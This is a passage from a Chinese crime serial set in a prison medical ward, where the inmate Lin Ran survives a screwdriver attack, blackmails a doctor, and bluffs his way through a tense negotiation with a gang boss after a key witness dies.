他松开刘长生,任由后者像摊烂泥滑倒在地,捂着脖子咳得抬不起头。
平头男转向林燃,一步一步走过来,鞋底摩擦水泥地,发出沙沙的声响。
“佛爷让我给你带句话。”
他在林燃面前两步处停住,歪了歪头。
“他说,之前已经给了你几次选择机会了。你既然选了死路,他就成全你。”
话音落下的瞬间,平头男动了!
他那打着绷带的右手只是幌子,里面居然藏了一把改锥!
左手猛地抽出改锥,直接刺向林燃的脖颈——
林燃的左腿还疼着,但疼了太久,反而成了身体的一部分——
一种钝钝的、持续的背景音。
当平头男那柄磨尖的改锥刺破空气,直扎咽喉时,这背景音瞬间被掐断,只剩一片死寂的嗡鸣。
警校搏击课的记忆碎片般炸开:
对手持短械,正面突刺,最佳反应不是后退,是迎上去!
后退,距离拉开,下一次攻击更难预测。
迎上去,撞进对方怀里。
械比拳短,贴身即废。
道理都懂。
可左腿胫骨毕竟有伤,像插了根烧红的铁钎,每挪一寸都撕扯着神经。
平头男的改锥尖已到眼前,寒光一点。
林燃没退。
他右腿猛蹬地面,整个人不是向前,而是向左前方斜撞过去——
用右肩去撞平头男持械的左手肘关节内侧。
这是个险招,撞偏了,改锥会扎进肩胛或侧颈。
“噗!”
撞中了。骨头撞骨头的闷响。
平头男肘部一麻,改锥刺出的轨迹歪了三分,擦着林燃颈侧划过,带起一道火辣辣的热线。
林燃没停。
右肩顶住的瞬间,左手已从囚服内袋抽出那片手术刀片。
纱布还裹着,来不及拆,他直接用牙齿咬住纱布一角,猛力一扯——
银亮的刀片滑入掌心,薄,轻,冰凉。
平头男反应极快,左手被撞开,右臂虽吊着,但身子顺势下压,左膝抬起,狠狠撞向林燃腹部。
这一下要是撞实了,胃酸都能咳出来。
林燃却似乎早料到。他右肩抵着对方,不退反进,整个人几乎钻进那平头男怀里,腹部收紧,用胯骨硬接了这一膝撞。
剧痛炸开,但他等的就是这个——
两人贴身,近到能闻到对方身上的汗臭和烟草味。
他握着刀片的左手,从两人身体夹缝中向上疾掠!
不是刺,是划。
刀片太薄,刺入需要角度和力量,划开却只需要速度和一道足够锋利的刃。
目标是平头男左侧颈动脉——
但林燃没下死手。
刀片划过,带起的是一道从耳根到锁骨的细长血线,不深,刚好破皮见血,火辣辣地疼。
平头男吃痛,闷哼一声,动作僵了半拍。
就这半拍。
林燃右腿支撑,左腿忍着撕裂般的痛,屈膝上顶,狠狠撞在平头男裆部!
“呃啊——!”
这一下结结实实。平头男整张脸瞬间扭曲,眼珠暴突,喉咙里挤出非人的惨嚎,身体像煮熟虾米般弓下去,改锥“当啷”掉在地上。
林燃没给他喘息机会。
他顺势拧身,用右臂肘关节从背后锁住平头男脖颈,左手刀片冰凉地贴在他喉结上。
“别动。”
声音很低,带着喘。
“再动,这玩意儿就进去了。”
平头男不动了。
裆部的剧痛还在翻江倒海,颈间刀片的寒意直透骨髓。
他能感觉到血正从脖子那道口子慢慢渗出来,温热,黏腻。
走廊里只剩下刘长生压抑的咳嗽声,和平头男粗重痛苦地喘息。
林燃抬眼,看向瘫在墙根的刘长生。
医生脸色惨白如纸,眼镜掉在一旁,正哆嗦着想爬起来。
“刘医生。”林燃叫他,声音平静得吓人,“帮忙。”
刘长生浑身一颤,惊恐地看着他,又看看被制住的平头男,嘴唇哆嗦着,没动。
“过来。”
林燃重复,刀片在平头男喉结上轻轻压了压。
“或者我现在喊人,说你私放犯人进Ⅲ区,意图谋杀。你猜,你会怎么样?”
刘长生连滚爬爬地过来。
“找根绳子,布条也行。”
林燃示意地上散落的废弃绷带和床单。
“把他手反绑,腿捆上。”
刘长生手抖得厉害,捡了几截脏污的绷带,哆哆嗦嗦去捆平头男的手腕。
平头男还想挣,林燃刀片一紧,他立刻僵住。
捆得不算牢,但足够让人一时半会儿挣脱不开。
林燃这才松开胳膊,后退两步,左腿一软,差点跪倒。
他赶紧扶住墙壁,冷汗瞬间浸透后背。
平头男瘫在地上,蜷缩着,捂着裆部,脖子上的血痕在惨白灯光下格外刺眼。
他抬头盯着林燃,眼神淬毒:
“佛爷……不会放过你……”
“这话我听腻了。”
林燃喘匀了气,弯腰捡起那柄改锥,在手里掂了掂,磨尖的螺丝头上还沾着点铁锈。
“回去告诉陈有仁,想弄死我,让他自己来。派条狗,不够看。”
平头男还想骂,林燃一脚踹在他侧脸,不重,但鞋底的水泥灰糊了他满嘴。
“闭嘴。”林燃转向刘长生。
“陈医生,现在我们来谈谈。”
刘长生都快哭了:
“谈、谈什么……我什么都不知道……”
“你不知道?”林燃走近一步,手术刀片在指间转了个寒光凛凛地圈。
第七十八章 自谋退路
“那你告诉我,Ⅲ区的氨茶碱注射液,为什么少了三支?
纸质台账上你签的字,备注‘Ⅲ区急用,已补’,实际库房根本没补——
这事儿,狱政科要是查起来,你猜猜,得判几年?”
刘长生脸白得像鬼,嘴唇哆嗦着,一个字也吐不出来。
“八万赌债,老金棋牌室。”
林燃继续说,每个字都像冰珠子砸在地上。
“平头男常去那儿找你吧?笑面佛的钱,好用吗?”
“我、我没拿……”刘长生还想狡辩。
“没拿?”
林燃冷笑,“那可以啊,我们一起到李昌东副监狱长那里去,看他信谁。”
眼前林燃买了李昌东的护身符,这事刘长生也知道,之前关于把林燃弄进医疗监区时,李昌东还和彭振提了反对意见,只是彭监分管这块,手不好申太长,就没留住林燃而已。
要是这小子捅到李昌东那,自己真就完了。
刘长生彻底瘫了。
他靠着墙滑坐下去,双手捂着脸,肩膀开始发抖——不是装的,是真怕了。
“两条路。”
林燃蹲下来,平视他。
“第一,我现在就把你捆了,连同地上这位,一起扔到值班室门口。
人赃并获,盗用管制药品,蓄意谋杀——无期起步。你那些赌债,正好留着去牢里慢慢还。”
刘长生猛地抬头,眼泪鼻涕糊了一脸:“第二……第二呢?”
“第二,”林燃声音压低,像蛇吐信。
“你帮我做件事。做完,氨茶碱的事儿我烂肚子里,赌债……北佬帮的虎爷或许还能帮你‘谈谈’。”
听到“虎爷”,刘长生瞳孔一缩。
“你……你是北佬帮的人?”
“我不是。”林燃站起身,居高临下看着他。
“但我能够让虎爷放你一马。你只需要知道,笑面佛保不住你了,你得赶紧换个老板。”
他踢了踢地上蜷缩的平头男:
“就像这位,任务失败,回去也是个废子。陈有仁对废子什么态度,你比我清楚。
而且,现在我和你说的,他也都听到了,你不换老板不行了。”
刘长生看着平头男惨状,又摸摸自己脖子上的勒痕,眼神里的最后一点侥幸也熄灭了。
“你要我做什么?”他哑声问。
“简单。”林燃说。
“明天一早,以‘病情好转,建议转回普通监区’为由,写一张转院申请。申请理由你编,病历你改”
“谁要转院?”
听到这,林燃嘴角挂上一抹笑意。
他停顿了下,开口道:
“我。”
…………
到107监舍时,才十点三十七分。
走廊里应急灯的光昏黄如将熄的炭火,把林燃的影子拖得细长,在水泥地上摇晃。
他左腿的疼痛已经麻木,取而代之的是全身肌肉过度紧绷后的酸软,还有喉咙那道擦伤火辣辣的疼。
推开门,监舍里一片平静。
林燃站在门口,没立刻进去,目光在黑暗里扫了一圈——
上铺,小浙江面朝墙壁躺着,呼吸均匀,像是睡了。
但他知道这小子醒着。
林燃没点破,反手带上门,插销落下时发出轻微的“咔嗒”声。
他拖着伤腿挪到自己床铺边,坐下,慢慢脱掉沾了血污和灰尘的囚服外套。
动作很慢,像在等什么。
果然,上铺传来布料摩擦的声音。
“成了?”
小浙江的声音很低,没什么情绪,但在绝对寂静的监舍里,每个字都十分清晰。
林燃没抬头,继续叠外套:“什么成了?”
“少装。”小浙江翻了个身,面朝下,透过床板缝隙往下看,“虎爷要的‘东西’,拿到了?”
空气凝滞了几秒。
铁拐李那边传来一声含糊的梦呓,又沉下去。
老喘开始咳嗽,带着那种湿漉漉的哮鸣音,在黑暗里拉得又细又长。
林燃把叠好的外套放在床头,躺下,面朝墙壁。
“睡吧。”他说。
意思很明白——不想谈。
小浙江没再问。
监舍里重新陷入寂静,但这次是绷紧的,像拉满的弓弦。
林燃闭上眼睛,脑子里却异常清醒。
榔头那句话在耳边回响:“那,人在……在右角的冷库……”
人在冷库。
什么人?活人死人?为什么会在冷库?和笑面佛的建材市场有什么关系?和那两条人命又有什么关系?
问题太多,答案太少。
但有一点可以肯定——这东西,或者说这个“人”,是筹码。是能撬动笑面佛,也能让北佬帮反目的筹码。
他不能轻易交出去。
至少,不能在自己还困在医疗监区的时候交。
窗外的天色由墨黑转为深灰,远处传来第一声鸟叫,尖锐,短促,很快被监狱高墙吞没。
林燃一夜没睡。
第二天早上,雨又来了。
不大,淅淅沥沥的,把医疗监区那栋三层小楼浇得颜色发暗,像泡久了的旧照片。
早餐时,王瘸子推着餐车过来,舀粥的手稳得反常。
轮到林燃时,他压低声音说了句:“虎爷下午要见你。”
没说地点,没说时间,但意思明白——准备好。
林燃“嗯”了一声,接过粥碗。粥很稀,能照见人影,但他喝得很慢,一口一口,像是在品尝什么珍馐。
上午九点,刘长生来了。
他换了件干净的白大褂,金丝眼镜擦得锃亮,但脸色还是惨白,眼下的乌青用粉底遮过,反而更显突兀。
他手里拿着病历夹,身后跟着个小护工,挨个监舍查房。
轮到107时,他先给铁拐李检查了腿,又问了老喘几句,最后才走到林燃床前。
“腿怎么样?”刘长生问,声音有点飘。
“好多了。”林燃说。
“我看看。”刘长生蹲下身,掀开林燃左腿的裤管,手指在胫骨处按了按——力道很轻,不像检查,更像做样子。
他站起身,在病历上写了几笔,然后抬眼看了看林燃,眼神复杂。
“你这种情况,可以考虑转回普通监区了。”
他说得声音不高,但足够监舍里其他人听见,
“医疗监区主要是治疗急性伤病,和需要长期休养的服刑人员,你这情况,可以回普通监区了。”
铁拐李“啧”了一声,没说话。小浙江翻书的手停了一下。
林燃点头:“听医生安排。”
第七十九章 面见虎爷
“那我下午打报告。”刘长生合上病历夹,转身要走,又停住,回头补了一句。
“不过转区需要副监狱长签字,流程可能得两三天。你……耐心等等。”
这话是说给林燃听的,也是说给可能监听的人听的。
林燃懂。
刘长生在铺路,但路能不能走通,还得看上面的意思。
副监狱长彭振是笑面佛的人,会不会卡这道手续,难说。
但至少,有路了。
刘长生走后,监舍里安静了几分钟。
铁拐李忽然开口:“小子,你要走了?”
“可能。”林燃说。
“走了好。”铁拐李咧开嘴,露出那口黄黑交错的牙。
“这鬼地方,待久了真能疯。你腿好了,能跑能跳,别回来。”
他说得随意,但林燃听出了一点别的意思——
老头在提醒他,离开就彻底离开,别再卷进医疗监区这摊浑水。
“谢了。”林燃说。
铁拐李摆摆手,单腿蹦着去上厕所了。
上铺,小浙江放下书,翻身下床。他走到林燃床边,蹲下,声音压得极低:
“虎爷要的东西,你打算什么时候给?”
林燃看着他。
年轻人眼神很静,但静底下有东西在翻涌——急切,或者别的什么。
“见到虎爷再说。”林燃说。
“你信不过我?”
“我信规矩。”林燃说得很直白。
“东西是虎爷要的,我得亲手交给他。这是道上的规矩,也是保命的规矩。”
小浙江盯着他看了几秒,忽然笑了,笑容很浅,没什么温度。
“你比我想的精。”他说完,起身,重新爬回上铺。
书页翻动的声音又响起来,但比之前快了些。
下午两点,雨停了。
阳光从云缝里漏下来几缕,照在潮湿的水泥地上,泛起一层稀薄的水汽。
护工来通知林燃去理疗室做最后一次红外照射。
他跟着走,左腿已经能正常行走,只是还有点跛。
理疗室空着。护工设定好时间就走了,说半小时后来关机器。
嗡鸣声响起,暗红色的光线照在腿上,暖意渗透。
林燃靠在治疗床上,闭着眼,脑子里却在飞快运转。
虎爷要见他,地点肯定不在医疗监区。
最大的可能,是放风区东角那个废器械堆后面——上次见面的地方。
但怎么过去?
上次是爬厕所窗户,这次腿伤好了,反而更显眼。
而且经过平头男那事,Ⅲ区附近肯定加强了巡逻。
正想着,门开了。
进来的是小浙江。
他反手带上门,走到另一张治疗床边坐下,没开机器,只是看着林燃。
“虎爷让我带你过去。”他说。
“现在?”
“现在。”
小浙江站起身,走到窗边,撩开百叶窗往外看了看。
“巡逻的刚换班,有二十分钟空档。
从热水房后面的维修通道走,能避开监控。”
“刘长生那边……”
“他今天请假了。”
小浙江打断他。
“说是家里有事,其实是虎爷让人在外面‘请’他喝茶去了。一时半会儿回不来。”
林燃明白了。这是北佬帮安排好的,调开刘长生,清空路线,给他创造见面的机会。
很周到。
但也让人不安——太周到了,像一张早就织好的网。
他关掉理疗仪,翻身下床。
“走吧。”
热水房后面的维修通道比上次更脏。
不知谁往里扔了半袋发霉的米,引来一窝老鼠,窸窸窣窣地在阴影里窜动。
小浙江打头,走得很快,脚步轻得像猫。
林燃跟在后面,尽量不发出声音。
通道尽头是那扇小门。
小浙江没费劲,直接从口袋里摸出把钥匙,插进锁孔一转——门开了。
“王瘸子弄的。”
他简短解释,侧身让林燃先过。
门外是放风区东角。
废器械堆还在原地,锈蚀的担架和氧气瓶上爬满了深绿色的苔藓,被雨水泡得发胀。
赵大金蹲在翻倒的药品箱上,这次没抽烟,手里捏着半块馒头,一点点掰碎了喂地上的蚂蚁。
听到脚步声,他抬起头。
阳光从云层后斜射下来,照在他脸上那道疤上,深褐色,像条蜈蚣。
“来了。”他说,把最后一点馒头屑弹掉,拍拍手。
小浙江没跟过来,退到器械堆另一侧,背对着,望风。
林燃走过去,在赵大金对面停下。
两人之间隔了两米,不远不近,刚好能看清对方脸上的表情,也够反应时间。
“腿好了?”赵大金先开口。
“差不多了。”
“刘长生那边,报告打了?”
“打了。”林燃说。
“但彭振那关不好过。”
赵大金咧嘴笑,笑容里带着点狠劲。
“你挺有本事啊,不用我们帮忙,自己就能出医疗监区。”
林燃心里一动。
之前他和北佬帮聊的报酬之一,就是让他们帮自己弄出去。
但相比相信这些人,他宁愿靠自己。
“榔头说了什么?”
赵大金切入正题,眼神锐利起来。
林燃没立刻回答。
他看着赵大金,看着这个前警察,现在的地下帮派头目。
监狱是个奇怪的地方,能把最恨罪犯的人变成罪犯,能把最讲规矩的人变得最不讲规矩。
“他说,”林燃开口,语速平缓,“‘那,人在……就这三个字,没说完就倒了。”
赵大金脸上的笑容消失了。
他盯着林燃,眼神像两把锥子,要扎进人脑子里看看真假。
“就这句?”
“就这句。”林燃说,“说完就昏了,再问没反应。”
吐出这三个字是林燃反复思考过的。
赵大金这人虽然是前警察,但在监狱里他信不过任何人。
与其相信这北佬帮老大拿到秘密就会帮自己出去,他还不如相信母猪会上树。
任何人答应你的都不算数。
只有自己能做主的才算数。
相比起把秘密完全吐出去,林燃决定抓在自己手里。
这样不管对笑面佛,还是对北佬帮,自己有价值,才有出路。
他说了“人”这个字,对方就有这么大反应,证明他们找的就是“人”。
也证明自己真的从榔头嘴里敲出了东西。
“人……”赵大金重复了一遍,手指无意识地捻着,像在算卦,他突然睁开眼,试探道:
“你知道榔头以前是那儿的保安队长了吧?!”
第八十章 灭口
被突然试探的林燃眼睛一沉:“嗯,我听说了。”
赵大金沉默了很久。
阳光挪了一寸,照在他半边脸上,那道疤显得更深了。
“你确定他没说别的?”他忽然问,声音很轻,但带着压力。
“确定。”林燃面不改色。
他在赌。
赌榔头临死前那句话已经很详细了,赌赵大金不知道后面还有内容,赌这个秘密——
关于“人”究竟是什么人,为什么在冷库——还能再榨出点价值。
赵大金盯着他,看了足足半分钟。
然后,他笑了。
笑声不大,但冷,像冬天玻璃上结的霜花。
“林燃,你跟我玩心眼。”
不是疑问句,是陈述句。
林燃没否认,也没承认。
“虎爷,”他说。
“你要的东西,我给了。虽然不全,但我完成你的任务了。按道上的规矩,该你兑现承诺了。”
“承诺?”赵大金挑眉,“什么承诺?”
空气骤然变冷。
林燃心里那根弦绷紧了,但他脸上没什么变化。
“保我在医疗监区安全,事成之后帮我弄出去。”
他说得很慢,每个字都清楚,“还有,一笔钱。”
“哦,那个。”赵大金像是刚想起来,摆摆手。
“安全我不是保了吗?至于出去……”
他顿了顿,笑容更深了。
“林燃,你觉得你现在还出得去吗?”
这话像盆冰水,从头浇到脚。
林燃没动,但全身肌肉瞬间绷紧,右手悄悄摸向囚服内袋——
那片手术刀片还在。
“什么意思?”他问,声音很平。
“意思就是,你知道得太多了。”赵大金站起身,拍拍屁股上的灰。
他个子不高,但站在那,气场压人。
“榔头那句话,你肯定没说完。这个秘密捅出去,别说笑面佛,连他背后那些人都得掉层皮。”
他走近一步,压低声音:
“你说,我能放你出去吗?你都不和我讲实话,放你出去,万一你反水到笑面佛那,和他说出来……那我们北佬帮,不就白忙活一场吗?”
林燃看着他,突然明白了。
不是北佬帮想毁约。
是赵大金从一开始,就没打算让他活。
所谓的合作,所谓的交易,不过是个幌子。赵大金真正要的,是借他的手挖出榔头的秘密,然后——灭口。
就像笑面佛对榔头做的一样。
监狱里没有新鲜事。黑吃黑,兔死狗烹,才是常态。
阳光彻底被云层吞没。
放风区暗下来,废器械堆的阴影拉长,像张开的兽口。
“可以了,林燃,把底交出来把,到底榔头和你说了什么?说出来,你还有条活路。”
小浙江还站在远处,背对着,一动不动。
但他握紧的拳头,暴露了紧张。
“我说我说完了,你不满意就要杀我?”林燃问,声音居然还稳着。
“杀你?”赵大金摇头,“那太粗鲁。我是警察出身,讲究证据,讲究……程序。”
他从囚服内袋摸出个东西,扔在地上。
是个小药瓶,白色塑料,没标签。
“这是好东西。”赵大金说,“吃下去,睡一觉,第二天起来什么都忘了。医生会说你突发脑炎,后遗症是失忆。然后你就能‘安心’在医疗监区养病,养一辈子。”
他顿了顿,补了一句:
“或者,养到死。”
林燃盯着那个药瓶。
塑料在潮湿的水泥地上泛着惨白的光,像颗缩小的骷髅头。
“如果我不吃呢?”他问。
“那就难看了。”赵大金叹了口气,像是惋惜,“小浙江!”
远处的年轻人转过身,手里不知什么时候多了截钢管——是从废器械堆里抽出来的,锈迹斑斑,但抡起来照样能砸碎脑袋。
“你知道,我这些兄弟,手重。”赵大金说,“万一把你打残了,打傻了,我也心疼。毕竟,你是个人才。”
他说得诚恳,像真在为林燃考虑。
林燃笑了。
笑声很短,带着点嘲讽。
“虎爷,”他说,“你觉得我为什么敢来见你?”
赵大金眼神一凛。
“因为我留了后手。”林燃继续说,语速不快,但每个字都像钉子,
赵大金脸上的笑容淡了半分,但没完全消失,像张揉皱又勉强抚平的纸。
“后手?”他重复道,声音里那点假惺惺的惋惜褪去,露出底下冷硬的质地,“说来听听。”
林燃没立刻接话。他先弯腰,动作很慢——
既是因为腿伤,也是为表明自己没有突然发难的意图。
指尖触到地上那个白色药瓶,捻起来,在掌心掂了掂,塑料壳发出空荡的轻响。
“这玩意儿,”
他抬眼,目光越过药瓶看向赵大金。
“是二类精神管制药,三唑仑,对吧?
溶在酒里无色无味,服用后顺行性遗忘,效果和你说的一样。
但虎爷,你一个前缉毒警,搞这东西不难。
难的是怎么让它合理合法地进监狱药房,还恰好在你手上。”
他顿了顿,看到赵大金眼皮几不可察地跳了一下。
“刘长生偷氨茶碱,你偷三唑仑。区别是,他偷药是为了钱,你偷药……”
林燃手腕一翻,药瓶滚回赵大金面前。
“是为了灭口。但你想过没有,药房丢失管制药品,上面迟早要查。查起来,刘长生那条线一扯就断,你这头呢?你那些东北老乡,能个个守口如瓶?还是说,你已经把经手的人……”
他停在这里,没说下去。有时候,话留半截比全说出来更有分量。
放风区彻底暗了。乌云重新聚拢,远处传来隐隐的闷雷,空气黏稠得能拧出水。
小浙江还握着那截钢管,指节绷得发白,眼神在赵大金和林燃之间来回扫,像只等信号的猎犬。
赵大金沉默着。他脸上那道疤在晦暗光线下显得更深,像皮肤底下埋了条黑色的筋。过了大概十几秒,他忽然咧嘴,这次的笑真实了些,带着点欣赏,也带着点狠。
“林燃,”他摇摇头,“我他妈是真有点喜欢你了。脑子够用,胆也肥。但喜欢归喜欢,规矩归规矩——你今天不把榔头的话吐干净,走不出这堆废铁。”
第八十一章 谈妥
赵大金沉默着。他脸上那道疤在晦暗光线下显得更深,像皮肤底下埋了条黑色的筋。
过了大概十几秒,他忽然咧嘴,这次的笑真实了些,带着点欣赏,也带着点狠。
空气彻底冷了。
“林燃啊林燃,”他摇摇头,“我他妈是真小看你了。”
“彼此彼此。”林燃把药瓶扔回给他。
“虎爷要是按规矩办事,该给我的钱给了,该帮我出去的力出了。
那我出去后,第一时间就会把榔头到底说了什么告诉你,然后我嘴闭紧,咋两桥归桥路归路。”
他往前迈了半步,左腿还有隐隐作疼,但站得挺直:
“可虎爷要是想玩脏的……那对不住,我烂命一条,拖着北佬帮和笑面佛一起下水,也算够本。”
话说得轻,分量却重。
赵大金沉默了很久。
他摸出烟,叼在嘴里,没点,就那么干叼着。
眼神落在远处铁丝网上,空茫茫的。
小浙江还握着钢管,但手臂垂下去了,像是没了力气。
“你要多少?”赵大金忽然问。
“之前谈好的,五千。”林燃说。
“一分不能少。钱到我指定的账户,等我平安离开医疗监区,收到信后,我就告诉那‘人’到底在哪。”
“我怎么信你?”
“你只能信我。”林燃说得很直接。
“虎爷,你现在动我,代价是北佬帮可能被一锅端。我也是有朋友的……
不动我,花五千块钱,买一个能让笑面佛倒台的秘密,还能把我这个麻烦送走——这账,不难算。”
赵大金把烟拿下来,在手指间慢慢捻着,烟丝簌簌掉下来。
“小浙江,”他忽然开口,声音沙哑,“放回去。”
远处,小浙江愣了一下,握钢管的手松了又紧,最终还是转身,把钢管“哐当”一声扔回废铁堆里。
赵大金又吸了口烟,眯着眼看林燃:“五千块,尾款。钱怎么给你?”
“存外面,我指定账户,地址我会告诉他……”
林燃嘴角一努旁边的“小浙江”:“……毕竟我们一个监舍嘛。”
虽然脸上依旧紧绷,但林燃此时心里那根绷到极致的弦微微一松,但没全松。
赵大金忽然笑了,这次笑出了声,短促,干涩,像咳。
“成。”他把烟头扔在地上,用鞋底碾灭,
“五千块,三天内到你账上。但是林燃——”
他抬起眼,目光像淬了冰的钩子。
“榔头说的地方,你最好真知道。要是让我发现你诈我……”他没说完,但意思明白。
“彼此彼此。”林燃回看着他,“虎爷,合作愉快。”
没有握手,没有多余的废话。
赵大金转身走了,身影很快没入器械堆的阴影里。
小浙江跟在他后面,经过林燃身边时,脚步顿了一下,目光复杂地扫了他一眼,终究什么也没说。
放风区只剩下林燃一个人。
雷声近了,雨点开始砸下来,先是稀疏的几颗,打在生锈的铁皮上噼啪作响,很快就连成了片。
林燃没急着走。
他靠在冰冷的氧气瓶上,仰起头,任由雨水打在脸上,冰冷刺骨,却让他滚烫的脑子一点点冷静下来。
左腿的伤处又开始隐隐作痛,喉咙那道擦伤也火辣辣的。
他摸出内袋里那片手术刀片,裹着的纱布已经沾了汗,有点潮。
后手是编的。
哪有什么“底”、外面朋友、定时电话。
全是临时起意,硬着头皮唬人的。
但监狱里就是这样——真话假话不重要,重要的是对方信不信,敢不敢赌。
他赌赵大金不敢赌。
赌赢了。
…………
下午四点多,雨终于落下来,噼里啪啦砸在放风区的水泥地上,溅起一层白茫茫的水汽。
林燃躺在107监舍的床上,听着雨声,脑子里思绪纷纷。
不知不觉中睡了过去。
突然,林燃是被走廊里的嘈杂声惊醒的。不是往常那种狱警换班的脚步声,是更乱、更急的——
拖拽重物的摩擦声,压低的呵斥,还有……哭声?
他翻身坐起,左腿的伤处已经不怎么疼了。
监舍里其他人都醒了,铁拐李单腿蹦到门边,扒着门上的小窗往外瞧。
“搞什么鬼……”老头嘟囔。
林燃也走过去。
走廊里光线昏暗,应急灯还亮着,把来回跑动的人影拉得变形。
几个护工推着辆平车往Ⅲ区方向跑,车上蒙着白布,隆起个人形。
白布没盖严实,一只枯瘦的手垂在外面,皮肤上布满了深褐色溃烂的斑块,指甲缝里塞着黑泥。
是榔头。
林燃心里那根弦“啪”地断了。
对于这个曾经笑面佛的手下,又投靠东北虎的男人,他了解的也不多,只知道女儿是他的软肋。
但见到此时死在自己面前,却有种说不出的情绪。
推车后面跟着个年轻护工,跑得踉踉跄跄,一边抹眼泪一边喘——是小夏。
她白大褂的袖口沾着暗红色的污渍,像血,又像药水。
“让开!都让开!”一个狱警粗声吼着,把旁边几个探头探脑的犯人轰回监舍。
平车拐进Ⅲ区铁门,门“哐当”关上,把哭喊和嘈杂都挡在门外。
走廊重新安静下来,只剩应急灯镇流器发出的嗡鸣。
铁拐李缩回头,咂咂嘴:“得,又死一个。”
他蹦回床边坐下,开始慢吞吞地叠被子,好像刚才看见的不过是每天都会发生的寻常事。
老喘翻了个身,面朝墙壁。
上铺,小浙江坐起来了。
他没往下看,只是盯着对面墙壁上那片渗水留下的黄渍,眼神空茫茫的。
过了几秒,他忽然开口,声音很轻,像自言自语:
“这才第七天。”
林燃没接话。
他走回自己床边坐下,手伸进枕头底下——那片手术刀片还在,裹着的纱布已经干了,摸着有点硬。
脑子里飞快地转。
榔头死了。官方说法不用猜都知道。
“突发多器官衰竭,抢救无效”。
氨茶碱中毒到了那一步,死是早晚的事,但偏偏是这个时候——在
他刚见过赵大金,刚把饵抛出去的时候。
太巧了。
是刘长生下手了?还是笑面佛那边等不及,直接灭口?
第八十二章 带话
不管是谁,结果都一样:唯一能直接指证笑面佛西城拆迁两条人命的证人,没了。
现在,榔头临死前那句“人在右角的冷库”,成了孤证。
整个安江监狱,不,可能是整个安江市,除了笑面佛以外,知道这秘密的活人,只剩下林燃一个。
价值上升了。
风险也翻了倍。
晚饭送来得比平时晚。
王瘸子推着餐车过来时,脸上没什么表情,但舀粥的手很稳,给林燃那碗粥盛得格外满,底下还沉着几块煮烂的红薯。
“今天菜少,将就吃。”他说完就走了,没多看谁一眼。
林燃端起碗,粥是温的,红薯甜得发腻。
他一口一口吃完,连碗底都刮干净。
监狱里食物是能量,也是信号——北佬帮还在按约定“照顾”他,至少表面如此。
第二天,放风时。
林燃跟着队伍慢慢挪到天井,找了个靠墙的角落坐下。
阳光稀薄,照在身上没什么暖意。
小浙江也出来了,但他没靠近林燃,独自走到铁丝网边上,抬头看着天空。
云层很厚,灰白色,像浸了水的棉絮。
放风进行到一半时,Ⅲ区那边的铁门开了。
几个穿着深蓝色制服的人走出来——不是狱警,是监狱管理局的。
为首的是个四十来岁的男人,方脸,梳着油光水滑的三七分,手里拿着文件夹,边走边跟旁边的刘长生说话。
刘长生哈着腰,金丝眼镜后的脸上堆着笑,但那笑是僵的,嘴角在抖。
一行人很快穿过天井,往办公楼方向去了。
“调查组的。”旁边一个老犯人低声说,“每次死人,都得走个过场。”
“能查出什么?”另一个嗤笑。
“查个屁。最后都是‘无责任’,‘意外死亡’。”
林燃听着,没说话。
他知道这老犯人说得对。
监狱里死人太常见了,病死、斗殴死、自杀死……
只要不是大规模暴乱,上面都懒得深究。走个流程,写份报告,归档了事。
放风结束回监舍时,小浙江从林燃身边经过,脚步没停,但极低地甩过来一句:
“虎爷在等你的消息。”
林燃也不理他。
他知道赵大金现在比他还急——
证人死了,唯一的线索攥在林燃手里,北佬帮要想扳倒笑面佛,就只能指望他这张嘴。
但指望归指望,信任是另一回事。
下午三点,护工来通知林燃去换药。
还是苏念晚。
她脸色比前几天更差,眼下的乌青连粉底都盖不住。
换药时她一直低着头,手指很稳,但呼吸很轻,轻得像怕惊动什么。
“榔头死了。”林燃突然说。
苏念晚手指一顿,碘伏棉球掉在托盘里,溅起几滴棕黄色的液体。
“……嗯。”她声音哑得厉害。
“怎么死的?”
“急性肾衰竭,合并肺水肿和感染性休克。”她说得很机械,像在念病历,“抢救了两个小时,没救回来。”
“刘长生在场?”
“在。”苏念晚抬起眼,看向林燃,眼神复杂,“他一直守在旁边,用药……都是按常规流程。”
她说“常规流程”时,咬了重音。
林燃懂了。
榔头的死,从医疗记录上看,挑不出毛病。
所有用药、抢救措施,都有记录可查。就算有人怀疑,也找不到证据。
这就是监狱里的杀人——不见血,不留痕,一切都符合“规定”。
“你的转区申请,”苏念晚忽然转了话题,“刘医生上午交上去了。”
“到哪儿了?”
“副监狱长办公室。”她顿了顿,“彭振亲自批。”
林燃心里一沉。
彭振是笑面佛的人。这份申请落在他手里,等于羊入虎口。
“有希望吗?”他问。
苏念晚摇摇头,没说话,但眼神已经给出了答案。
换完药,林燃一瘸一拐地往回走。
走廊里很安静,只有他自己的脚步声在回荡。
经过值班室时,他听见里面狱警在闲聊:
“听说没?三监区那边,笑面佛放话了,说谁要能弄到林燃的眼睛,再加一万。”
“操,三万了?这他妈是多大仇……”
“谁知道。反正那小子活不长。”
声音不高,但足够清晰。
林燃脚步没停,脸上也没什么表情,只是右手悄悄伸进口袋,握住了那片刀片。
刀片冰凉,硌着掌心。
回到107,铁拐李正收拾东西,抬头瞥了一眼:
“脸色这么差?伤口感染了?”
“没事。”林燃躺回床上,闭上眼睛。
脑子里却在飞快地盘算。
彭振卡着转区申请,笑面佛悬赏加码,北佬帮那边目前态度稳定,但也等着自己把底交出来。三条路,两条堵死,剩下一条……
李昌东。
突然想到这个名字。
林燃眼睛亮了一下。
那个受贿的副监狱长——
“老陈茶铺”。上次两万块钱买来的庇护,虽然脆弱,但或许还能再用一次。
问题是,怎么联系?
直接找狱警说我要见李副监狱长?不可能。层层上报,消息第一时间就会传到彭振耳朵里。
得走别的路。
林燃闭上眼,手指无意识地捻着囚服袖口——布料粗糙,洗得发白,边角已经起了毛球。
有了……
他睁开眼,目光落在对面床铺上。
铁拐李正单腿蹦着收拾床底那点破烂家当——
几双破袜子,半管挤瘪的牙膏,还有个掉了漆的铁皮盒子。
老头动作慢吞吞的,嘴里哼着不成调的小曲,好像外面那些腥风血雨跟他半点关系没有。
但这老头在医疗监区待了五年。
五年,够长。长得足够一个人摸清这里的每一条暗流,每一道门缝。
林燃站起身,慢慢挪过去。
“李叔。”他叫了一声,声音不高。
铁拐李停下动作,抬头看他,那双浑浊的眼睛在昏光下显得格外锐利:“咋?”
“想跟您打听个事儿。”
“说。”
“医疗监区……有没有人能往外捎东西?”林燃顿了顿,补了句,“不白捎。”
铁拐李没立刻接话。
他慢悠悠地把铁皮盒子塞回床底,拍了拍手上的灰,又在囚服上蹭了蹭,这才直起身。
“有。”他说得干脆,“但贵。”
第八十三章 再买茶叶
